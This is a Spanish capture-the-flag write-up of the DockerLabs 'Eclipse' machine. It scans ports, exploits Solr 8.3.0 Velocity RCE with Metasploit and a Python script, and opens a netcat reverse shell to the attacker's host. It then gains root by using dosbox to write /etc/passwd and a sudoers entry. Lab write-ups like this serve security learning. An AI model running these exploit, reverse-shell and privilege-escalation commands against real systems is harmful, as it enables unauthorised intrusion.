Eclipse , DockerLabs
En este reto de DockerLabs aprendemos.
- Scan de puertos
- Explotacion Slor 8.3.0
Herramientas y recursos
- nmap
- msfconsole
- script
Reconocimiento y enumeracion
Lanzamos nmap con los parámetros de costumbre en un ctf.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX eclipse 172.17.0.2
Después de revisar el reporte de nmap nos encontramos con el puerto 80 el cual corre un servicio apache , también observamos que corre otro servicio en el puerto 8983 que resulta ser un servidor web escrito en java usado para realizar búsquedas verticales (es decir dentro un blog por ejemplo).
En el 80 solo disponemos de una imagen la cual no nos proporciona nada así que investigamos bien a solr.
Como vemos en la parte del dashboard ya nos dice la versión , con ese dato paso a buscar si es explotable.
Estamos de suerte y encontramos varios métodos realmente es el mismo pero con distintas formas uno con metasploit y otro con un script de python.
Intrusion
Realizo tanto método con msfconsole como con script
Ojo los que no acostumbramos a usar msf pues se me pasaba por alto el parámetro set target y no me funcionaba
Con metasploit sigo los pasos después de leerlo bien y nos adaptamos a nuestro entorno.
metasploit
1
2
3
4
5
use exploit/multi/http/solr_velocity_rce
set RHOST 172.17.0.2
check
set TARGET 1
set LHOST 192.168.0.112
Si nos fijamos en la imagen de abajo y dependiendo del softaware a explotar también disponemos de opciones dependiendo de donde este instalado dicho software, show options y show targets hay que acostumbrase a invocarlos.
Hasta que me di cuenta del target paso un buen rato :-)…….
Hasta aquí con metasploit.
Metodo script
Con este método es incluso mas sencillo solo debemos indicar la ip de la victima , el puerto y el comando a ejecutar por defecto tira un whoami
Vamos a través del script a mandarnos una shell con netcat.
Para ello en la victima ejecutamos.
1
python3 exploit_solr_8.3.0_velocity.py 172.17.0.2 8983 "nc 192.168.0.112 9999 -c /bin/bash"
y nos ponemos a la escucha.
1
nc -lnvp 9999
Realizamos tratamiento de la tty
1
2
3
script /dev/null -c bash
control
stty raw -echo; fg
Escalada
Lo primero pruebo con sudo y nos pide pass, después tiro de find , con find obtenemos dosbox.
Leyendo un poco entiendo que el binario nos permite escribir si no me equivoco aquí tendríamos varios archivos en los que poder escribir para hacernos root.
Trate de escribir el fichero /etc/passwd el cual conseguía escribirlo pero al realizar su con el nuevo usuario que le ponía no me permitía el login error authentication failure
Con mi método hacia lo siguiente pero no conseguí que funcionara.
1
2
3
LFILE=/etc/passwd
openssl passwd -1 -salt "loco" "qwerty"
/usr/bin/dosbox -c 'mount c /' -c "echo loco:$1$lvWjKN2kvSJaYzi69Mk/:0:0:root:/root:/bin/bash >>c:$LFILE" -c exit
Como veis intentaba crear un usuario con privilegios de root y lo añadía al /etc/passwd.Aparentemente se añadía pero no permitía el login.
Así que para terminar la maquina realice lo siguiente con sudoers.
1
2
LFILE=/etc/sudoers.d/ninhack
dosbox -c 'mount c /' -c "echo ninhack ALL=(ALL) D: ALL >c:$LFILE" -c exit
Muchas gracias por leer compartan y si averiguan como conseguirlo a través del passwd comenten ….un saludo.
Comments powered by Disqus.